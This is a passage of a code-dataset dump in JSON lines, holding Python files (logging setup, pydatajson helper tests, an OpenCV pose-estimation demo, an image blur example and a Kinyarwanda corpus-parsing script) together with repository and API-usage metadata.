"torch.cos", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.sin", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 248, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 249, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.eye", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 256, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 258, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 260, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.eye", "line_number": 274, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 284, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 284, "usage_type": "name"}, {"api_name": "torch.nn.functional", "line_number": 298, "usage_type": "argument"}, {"api_name": "torch.nn.functional", "line_number": 299, "usage_type": "argument"}, {"api_name": "torch.cat", "line_number": 325, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 368, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 397, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 397, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 409, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 409, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_normal_", "line_number": 411, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 411, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 411, "usage_type": "call"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 413, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 413, "usage_type": "name"}, {"api_name": "torch.nn.init.orthogonal_", "line_number": 415, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 415, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 415, "usage_type": "call"}, {"api_name": "torch.nn.init.constant_", "line_number": 421, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 421, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 425, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 425, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 437, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 437, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 438, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 438, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 475, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 479, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 481, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 493, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 494, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 495, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 504, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 504, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 513, "usage_type": "call"}, {"api_name": "torch.nn.functional.cosine_similarity", "line_number": 529, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 529, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 545, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 558, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 559, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 560, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 561, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 562, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 563, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 564, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 565, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 566, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 579, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 581, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 624, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 626, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 644, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 668, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 672, "usage_type": "call"}, {"api_name": "_paritybench_helpers._paritybench_base", "line_number": 676, "usage_type": "name"}]}
{"seq_id": "21325660248", "text": "import logging\n\n\nclass logger:\n\n    def __init__(self):\n\n        self.logger = logging.getLogger(__name__)\n        self.logger.setLevel(logging.DEBUG)\n        formatter = '%(asctime)s:%(name)s:%(levelname)s:%(message)s'\n\n        file_handler = logging.FileHandler('appLog.log')\n        file_handler.setFormatter(formatter)\n\n        self.logger.addHandler(file_handler)\n", "repo_name": "krishph/Python", "sub_path": "logging/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "5415157508", "text": "import logging\nimport sys\nfrom logging.config import dictConfig\n\nFORMAT = \"%(message)s\"\n\ndictConfig({\n    'version': 1,\n    'formatters': {\n        'default': {\n            'format': FORMAT,\n        }},\n    'handlers': {\n        'wsgi': {\n            'class': 'logging.StreamHandler',\n            'stream': sys.stdout,\n            'formatter': 'default'\n        }\n    },\n    'root': {\n        'level': 'INFO',\n        'handlers': ['wsgi']\n    }\n})\nlogger = logging.getLogger()\n", "repo_name": "Alea4jacta6est/typical_ner", "sub_path": "model_app/app/utils/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 477, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.config.dictConfig", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 16, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "28797522424", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Tests del modulo pydatajson.\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import with_statement\n\nimport os.path\nimport unittest\n\nimport nose\nimport openpyxl as pyxl\n\nfrom pydatajson.helpers import fields_to_uppercase\nfrom .context import pydatajson\n\n\nclass HelpersTestCase(unittest.TestCase):\n\n    SAMPLES_DIR = os.path.join(\"tests\", \"samples\")\n    RESULTS_DIR = os.path.join(\"tests\", \"results\")\n\n    def test_sheet_to_table(self):\n        \"\"\"sheet_to_table convierte hojas de un libro en listas de\n        diccionarios\"\"\"\n        workbook_path = os.path.join(self.SAMPLES_DIR,\n                                     \"prueba_sheet_to_table.xlsx\")\n        workbook = pyxl.load_workbook(workbook_path)\n\n        expected_tables = {\n            \"Imperio\": [\n                {\"Nombre\": \"Darth Vader\", \"Jedi\": \"Poderoso\"},\n                {\"Nombre\": \"Kylo Ren\", \"Jedi\": \"Mas o Menos\"}\n            ],\n            \"Rebeldes\": [\n                {\"Nombre\": \"Luke\", \"Edad\": 56},\n                {\"Nombre\": \"Han\", \"Edad\": 122},\n                {\"Nombre\": \"Yoda\", \"Edad\": 0}\n            ]\n        }\n\n        for sheetname in [\"Imperio\", \"Rebeldes\"]:\n            actual_table = pydatajson.helpers.sheet_to_table(\n                workbook[sheetname])\n            expected_table = expected_tables[sheetname]\n            self.assertEqual(actual_table, expected_table)\n\n    def test_string_to_list_default_separator(self):\n        \"\"\"string_to_list convierte una str separada por \",\" en una\n        lista\"\"\"\n        strings = [\n            \" pan , vino,gorriones ,23\",\n            \"economía,\\t\\tturismo,salud\\n\",\n            \"\"\"uno,,\n            dos,\n            tres\"\"\"\n        ]\n        lists = [\n            [\"pan\", \"vino\", \"gorriones\", \"23\"],\n            [\"economía\", \"turismo\", \"salud\"],\n            [\"uno\", \"\", \"dos\", \"tres\"]\n        ]\n        for (string, expected_list) in zip(strings, lists):\n            actual_list = pydatajson.helpers.string_to_list(string)\n            self.assertListEqual(actual_list, expected_list)\n\n    def test_string_to_list_alternative_separator(self):\n        \"\"\" string_to_list convierte una str separada por un separador\n        alternativo (\";\") en una lista.\"\"\"\n        actual_list = pydatajson.helpers.string_to_list(\n            string=\"un;;separador;;nuevo\", sep=\";;\")\n        expected_list = [\"un\", \"separador\", \"nuevo\"]\n\n        self.assertListEqual(actual_list, expected_list)\n\n    SAMPLE_DICT = pydatajson.readers.read_catalog(\n        os.path.join(SAMPLES_DIR, \"full_data.json\"))\n\n    def test_traverse_dict_correct_keys(self):\n        \"\"\"traverse_dict devuelve un valor si toda clave buscada existe.\"\"\"\n        expected = \"onc@modernizacion.gob.ar\"\n        actual = pydatajson.helpers.traverse_dict(\n            self.SAMPLE_DICT, [\"dataset\", 0, \"publisher\", \"mbox\"])\n\n        self.assertEqual(actual, expected)\n\n    def test_traverse_dict_index_out_of_range(self):\n        \"\"\"traverse_dict devuelve el valor por omisión si un índice está fuera\n        del rango de su lista.\"\"\"\n        # Usando el valor de retorno por omisión, 'None'\n        actual = pydatajson.helpers.traverse_dict(\n            self.SAMPLE_DICT, [\"dataset\", 12, \"publisher\", \"mbox\"])\n        self.assertIsNone(actual)\n\n        # Usando un valor por omisión distinto.\n        expected = \"MISSING\"\n        actual = pydatajson.helpers.traverse_dict(\n            self.SAMPLE_DICT, [\"dataset\", 12, \"publisher\", \"mbox\"], expected)\n\n        self.assertEqual(actual, expected)\n\n    def test_traverse_dict_missing_key(self):\n        \"\"\"traverse_dict devuelve el valor por omisión si una clave no existe\n        en un diccionario.\"\"\"\n        actual = pydatajson.helpers.traverse_dict(\n            self.SAMPLE_DICT, [\"dataset\", 12, \"owner\", \"mbox\"])\n        self.assertIsNone(actual)\n\n    def test_traverse_dict_string_index_for_list(self):\n        \"\"\"traverse_dict devuelve el valor por omisión si se pasa un string\n        como índice de una lista.\"\"\"\n        actual = pydatajson.helpers.traverse_dict(\n            self.SAMPLE_DICT, [\"dataset\", \"0\", \"owner\", \"mbox\"])\n        self.assertIsNone(actual)\n\n    @nose.tools.raises(AssertionError)\n    def test_is_list_of_matching_dicts_with_not_list(self):\n        \"\"\"is_list_of_matching_dicts levanta error si el input no es una\n        lista.\"\"\"\n        pydatajson.helpers.is_list_of_matching_dicts({})\n\n    @nose.tools.raises(AssertionError)\n    def test_is_list_of_matching_dicts_with_list_of_not_dicts(self):\n        \"\"\"is_list_of_matching_dicts levanta error si el input es una\n        lista pero alguno de sus elementos no es un diccionario.\"\"\"\n        pydatajson.helpers.is_list_of_matching_dicts([{}, (), {}, {}])\n\n    def test_is_list_of_matching_dicts_with_matched_dicts(self):\n        \"\"\"is_list_of_matching_dicts devuelve True si todos los elementos del\n        input tienen las mismas claves.\"\"\"\n        result = pydatajson.helpers.is_list_of_matching_dicts([\n            {\"a\": 1, \"b\": 2},\n            {\"a\": 1, \"b\": 2},\n            {\"a\": 1, \"b\": 2}\n        ])\n\n        self.assertTrue(result)\n\n    def test_is_list_of_matching_dicts_with_mismatched_dicts(self):\n        \"\"\"is_list_of_matching_dicts devuelve False si no todos los elementos\n        del input tienen las mismas claves.\"\"\"\n        result = pydatajson.helpers.is_list_of_matching_dicts([\n            {\"a\": 1, \"b\": 2},\n            {\"a\": 1},\n            {\"a\": 1, \"b\": 2}\n        ])\n\n        self.assertFalse(result)\n\n    def test_parse_repeating_time_interval_to_days(self):\n        # Testea función auxiliar para interpretar intervalos repetidos en días\n        from pydatajson.helpers import parse_repeating_time_interval_to_days\n\n        self.assertEqual(\n            parse_repeating_time_interval_to_days(\"R/P6M\"), 180\n        )\n\n    def test_parse_repeating_time_interval_to_str(self):\n        # Testea función auxiliar para interpretar intervalos repetidos en días\n        from pydatajson.helpers import parse_repeating_time_interval_to_str\n\n        self.assertEqual(\n            parse_repeating_time_interval_to_str(\"R/P6M\"), \"Cada medio año\"\n        )\n\n    def test_add_dicts(self):\n        # Testea la función auxiliar para sumar campos de dicts recursivamente\n\n        one_dict = {\n            \"distribuciones_formatos_cant\": {\n                \"SHP\": 207,\n                \"ZIP\": 122,\n                \"JPEG\": 26,\n                \"PDF\": 235,\n                \"CSV\": 375,\n                \"XLS\": 25\n            },\n            \"una_lista\": [\"a\", 1, True],\n            \"dict_anidado\": {\n                \"valor\": 12\n            }\n        }\n        other_dict = {\n            \"distribuciones_formatos_cant\": {\n                \"RDF\": 1,\n                \"CSV\": 124,\n                \"JSON\": 5\n            },\n            \"una_lista\": [\"b\", 2, False],\n            \"dict_anidado\": {\n                \"valor\": 24\n            }\n        }\n\n        expected = {\n            \"distribuciones_formatos_cant\": {\n                \"SHP\": 207,\n                \"ZIP\": 122,\n                \"JPEG\": 26,\n                \"PDF\": 235,\n                \"CSV\": 499,\n                \"XLS\": 25,\n                \"RDF\": 1,\n                \"JSON\": 5\n            },\n            \"una_lista\": [\"b\", 2, False, \"a\", 1, True],\n            \"dict_anidado\": {\n                \"valor\": 36\n            }\n        }\n        result = pydatajson.helpers.add_dicts(one_dict, other_dict)\n        self.assertDictEqual(result, expected)\n\n    def test_parse_date_string(self):\n        self.assertEqual(pydatajson.helpers.parse_date_string(\"\"), None)\n\n    def test_title_to_name(self):\n        self.assertEqual(\n            pydatajson.helpers.title_to_name(\n                \"Exportación en $   de tomates  año 2017 (*)\"),\n            \"exportacion-tomates-ano-2017\"\n        )\n\n    def test_fields_to_uppercase_returns_unique_uppercase_keys(self):\n        fields = {\n            'csv': 10,\n            'CSV': 20,\n            'json': 30,\n            'JSON': 40\n        }\n\n        expected = {\n            'CSV': 30,\n            'JSON': 70\n        }\n\n        self.assertEqual(fields_to_uppercase(fields), expected)\n\n    def test_fields_to_uppercase_keeps_uppercase_fields_intact(self):\n        fields = {\n            'CSV': 30,\n            'JSON': 70\n        }\n\n        expected = {\n            'CSV': 30,\n            'JSON': 70\n        }\n\n        self.assertEqual(fields_to_uppercase(fields), expected)\n\n    def test_fields_to_uppercase_modifies_all_lowercase_fields(self):\n        fields = {\n            'csv': 10,\n            'json': 30,\n        }\n\n        expected = {\n            'CSV': 10,\n            'JSON': 30\n        }\n\n        self.assertEqual(fields_to_uppercase(fields), expected)\n\n    def test_fields_to_uppercase_modifies_mixed_fields(self):\n        fields = {\n            'csv': 5,\n            'Csv': 10,\n            'CSV': 7,\n            'Json': 30,\n            'GeoJSON': 47,\n        }\n\n        expected = {\n            'CSV': 22,\n            'JSON': 30,\n            'GEOJSON': 47\n        }\n\n        self.assertEqual(fields_to_uppercase(fields), expected)\n\n\nif __name__ == '__main__':\n    nose.run(defaultTest=__name__)\n", "repo_name": "datosgobar/pydatajson", "sub_path": "tests/test_helpers.py", "file_name": "test_helpers.py", "file_ext": "py", "file_size_in_byte": 9212, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "71", "api": [{"api_name": "unittest.TestCase", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 22, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 28, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 30, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers.sheet_to_table", "line_number": 45, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 45, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 45, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.string_to_list", "line_number": 66, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 66, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 66, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.string_to_list", "line_number": 72, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 72, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 72, "usage_type": "name"}, {"api_name": "context.pydatajson.readers.read_catalog", "line_number": 78, "usage_type": "call"}, {"api_name": "context.pydatajson.readers", "line_number": 78, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 78, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 79, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.traverse_dict", "line_number": 84, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 84, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 84, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.traverse_dict", "line_number": 93, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 93, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 93, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.traverse_dict", "line_number": 99, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 99, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 99, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.traverse_dict", "line_number": 107, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 107, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 107, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.traverse_dict", "line_number": 114, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 114, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 114, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.is_list_of_matching_dicts", "line_number": 122, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 122, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 122, "usage_type": "name"}, {"api_name": "nose.tools.raises", "line_number": 118, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 118, "usage_type": "attribute"}, {"api_name": "context.pydatajson.helpers.is_list_of_matching_dicts", "line_number": 128, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 128, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 128, "usage_type": "name"}, {"api_name": "nose.tools.raises", "line_number": 124, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 124, "usage_type": "attribute"}, {"api_name": "context.pydatajson.helpers.is_list_of_matching_dicts", "line_number": 133, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 133, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 133, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.is_list_of_matching_dicts", "line_number": 144, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 144, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 144, "usage_type": "name"}, {"api_name": "pydatajson.helpers.parse_repeating_time_interval_to_days", "line_number": 157, "usage_type": "call"}, {"api_name": "pydatajson.helpers.parse_repeating_time_interval_to_str", "line_number": 165, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers.add_dicts", "line_number": 213, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 213, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 213, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.parse_date_string", "line_number": 217, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 217, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 217, "usage_type": "name"}, {"api_name": "context.pydatajson.helpers.title_to_name", "line_number": 221, "usage_type": "call"}, {"api_name": "context.pydatajson.helpers", "line_number": 221, "usage_type": "attribute"}, {"api_name": "context.pydatajson", "line_number": 221, "usage_type": "name"}, {"api_name": "pydatajson.helpers.fields_to_uppercase", "line_number": 239, "usage_type": "call"}, {"api_name": "pydatajson.helpers.fields_to_uppercase", "line_number": 252, "usage_type": "call"}, {"api_name": "pydatajson.helpers.fields_to_uppercase", "line_number": 265, "usage_type": "call"}, {"api_name": "pydatajson.helpers.fields_to_uppercase", "line_number": 282, "usage_type": "call"}, {"api_name": "nose.run", "line_number": 286, "usage_type": "call"}]}
{"seq_id": "36433265057", "text": "import cv2\nimport mediapipe as mp\n\n# Video capture settings\ncap = cv2.VideoCapture(0)\ncap.set(3, 640)\ncap.set(4, 480)\n\n# Pose definitions\nmpPose = mp.solutions.pose\npose = mpPose.Pose()\nmpDraw = mp.solutions.drawing_utils\n\nwhile cap.read():\n    \n    # Reading frame\n    success, img = cap.read()\n    # It's optional, we used mirror effect\n    img = cv2.flip(img, 1)\n    # BGR to RGB Color conversion\n    img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    # Process pose to recognize\n    results = pose.process(img_rgb)\n    \n    # When record every pose, this condition will use\n    if results.pose_landmarks:\n        # First impression is 'you are sad' (so False)\n        motions = []\n        result_text = \"You're sad...\"\n        \n        # Draw landmarks\n        mpDraw.draw_landmarks(img, results.pose_landmarks, mpPose.POSE_CONNECTIONS)\n    \n        for id, lm in enumerate(results.pose_landmarks.landmark):\n            \n            h, w, c = img.shape\n            # Convert ratios to reel positions\n            cx,cy = int(w * lm.x), int(h * lm.y)\n            \n            # We choose 19th and 20th point\n            if id == 19 or id == 20:\n                motions.append([id, cx, cy])\n        \n        # If has record\n        if len(motions) != 0:\n            # Set result_text according to your pose\n            result_text = \"You're happy! Always be like this\" if motions[0][1] - 50 < motions[1][1] else \"You're sad...\"\n    \n    # Draw rectangle and put text about your happines\n    cv2.rectangle(img, (int(cap.get(3)), int(cap.get(4) / 7 )), (0,0), (0,0,0), cv2.FILLED)\n    cv2.putText(img, result_text,(48,48), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255))\n    cv2.imshow(\"Capture\", img)\n    cv2.waitKey(1)", "repo_name": "turgay2317/opencv-python-examples", "sub_path": "Example 10 - Pose Estimation (Hug yourself)/example.py", "file_name": "example.py", "file_ext": "py", "file_size_in_byte": 1717, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.VideoCapture", "line_number": 5, "usage_type": "call"}, {"api_name": "mediapipe.solutions", "line_number": 10, "usage_type": "attribute"}, {"api_name": "mediapipe.solutions", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.flip", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 53, "usage_type": "call"}]}
{"seq_id": "270973666", "text": "import cv2\n\nframe = cv2.imread(\"../img/papas.jpg\")\n\nkernel_size = (7,7)\nblur = cv2.GaussianBlur(frame, kernel_size, 0)\n\n\n#############################\n#TO-DO apply multiple filters\n\n\n#############################\n\ncv2.imshow(\"Frame\", frame)\ncv2.imshow(\"Blur\", blur)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "repo_name": "LuisFonti/ComputerVisionCourse", "sub_path": "code/filter.py", "file_name": "filter.py", "file_ext": "py", "file_size_in_byte": 305, "program_lang": "python", "lang": "de", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 3, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "9055838391", "text": "import progressbar\nimport torch\nimport youtokentome as yttm\n\nfrom morpho_common import SimpleKBVocab, build_kinlp_morpho_lib, RichParsedToken, parse_raw_text_lines\n\nfrom kinyabert_utils import read_lines,time_now\n\ndef parse_documents_corpus(home_path, in_file_path, out_file_path):\n    print(time_now(),'Processing', in_file_path, '...')\n\n    BPE_model_path = (home_path + \"data/BPE-30k.mdl\")\n    bpe_encoder = yttm.BPE(model=BPE_model_path)\n\n    kb_vocab = SimpleKBVocab()\n    kbvocab_state_dict_file_path = (home_path + \"data/kb_vocab_state_dict_2021-02-07.pt\")\n    kb_vocab.load_state_dict(torch.load(kbvocab_state_dict_file_path))\n\n    f = open(in_file_path, 'r')\n    Lines = f.readlines()\n    f.close()\n\n    parsed_file = open(out_file_path+'_parsed.txt', 'w')\n\n    doc_idx = [i for i in range(len(Lines)) if (len(Lines[i]) == 1)]\n    if doc_idx[-1] < (len(Lines)-1):\n        doc_idx.append(len(Lines))\n\n\n    start_idx = 0\n    all_docs = len(doc_idx)\n\n    print(time_now(), 'Loaded', len(Lines), 'lines', '({} documents)'.format(all_docs))\n\n    with progressbar.ProgressBar(max_value=(all_docs), redirect_stdout=True) as bar:\n        bar.update(0)\n        for i,end_idx in enumerate(doc_idx):\n            lines_batch = Lines[start_idx:end_idx]\n            start_idx = end_idx + 1\n            if (len(lines_batch) > 0):\n                # Morphological Analysis\n                _tk_list, grouped_parsed_tokens = parse_raw_text_lines(lines_batch, kb_vocab, bpe_encoder)\n                # SAVE PARSED:\n                for sentence_tokens in grouped_parsed_tokens:\n                    parsed_file.write('; '.join([pt.to_parsed_format() for pt in sentence_tokens]) + \"\\n\")\n                parsed_file.write(\"\\n\")\n                parsed_file.flush()\n\n            if (((i+1) % 1000) == 0):\n                print(time_now(),'Processed {}K/{}K docs'.format(int(i/1000.0), int(all_docs/1000.0)))\n                bar.update(i+1)\n    parsed_file.close()\n\ndef parse_sentences_corpus(home_path, in_file_path, out_file_path):\n    print('Processing', in_file_path, '...')\n\n    BPE_model_path = (home_path + \"data/BPE-30k.mdl\")\n    bpe_encoder = yttm.BPE(model=BPE_model_path)\n\n    kb_vocab = SimpleKBVocab()\n    kbvocab_state_dict_file_path = (home_path + \"data/kb_vocab_state_dict_2021-02-07.pt\")\n    kb_vocab.load_state_dict(torch.load(kbvocab_state_dict_file_path))\n\n    Lines = read_lines(in_file_path)\n\n    parsed_file = open(out_file_path+'_parsed.txt', 'w')\n    with progressbar.ProgressBar(max_value=(len(Lines)), redirect_stdout=True) as bar:\n        bar.update(0)\n        for i in range(len(Lines)):\n            lines_batch = Lines[i:(i+1)]\n            if (len(lines_batch[0]) > 0):\n                # Morphological Analysis\n                parsed_tokens, _grpd = parse_raw_text_lines(lines_batch, kb_vocab, bpe_encoder)\n                # PARSED:\n                parsed_file.write('; '.join([pt.to_parsed_format() for pt in parsed_tokens]) + \"\\n\")\n                parsed_file.flush()\n\n            if (((i+1) % 1000) == 0):\n                bar.update(i+1)\n    parsed_file.close()\n\nif __name__ == '__main__':\n    build_kinlp_morpho_lib()\n    from kinlpmorpholib import ffi, lib\n    conf = \"data/kb_config_kinlp.conf\"\n    # conf = \"data/config_kinlp.conf\"\n    lib.start_kinlp_lib(conf.encode('utf-8'))\n    \n    data_home_path = \"./\"\n\n    # parse_documents_corpus(data_home_path,\n    #                        'data/full_valid_kinlp_corpus_2021-11-05.txt',\n    #                        'data/full_valid_kinlp_corpus_2021-11-05')\n\n    parse_sentences_corpus(data_home_path,\n                           'data/kinmt2021_train_rw.txt',\n                           'data/kinmt2021_train_rw')\n    parse_sentences_corpus(data_home_path,\n                           'data/kinmt2021_test_rw.txt',\n                           'data/kinmt2021_test_rw')\n    parse_sentences_corpus(data_home_path,\n                           'data/kinmt2021_valid_rw.txt',\n                           'data/kinmt2021_valid_rw')\n", "repo_name": "anzeyimana/kinyabert-acl2022", "sub_path": "code/process_parsed_only_corpus.py", "file_name": "process_parsed_only_corpus.py", "file_ext": "py", "file_size_in_byte": 3985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "71", "api": [{"api_name": "kinyabert_utils.time_now", "line_number": 10, "usage_type": "call"}, {"api_name": "youtokentome.BPE", "line_number": 13, "usage_type": "call"}, {"api_name": "morpho_common.SimpleKBVocab", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 17, "usage_type": "call"}, {"api_name": "kinyabert_utils.time_now", "line_number": 33, "usage_type": "call"}, {"api_name": "progressbar.ProgressBar", "line_number": 35, "usage_type": "call"}, {"api_name": "morpho_common.parse_raw_text_lines", "line_number": 42, "usage_type": "call"}, {"api_name": "kinyabert_utils.time_now", "line_number": 50, "usage_type": 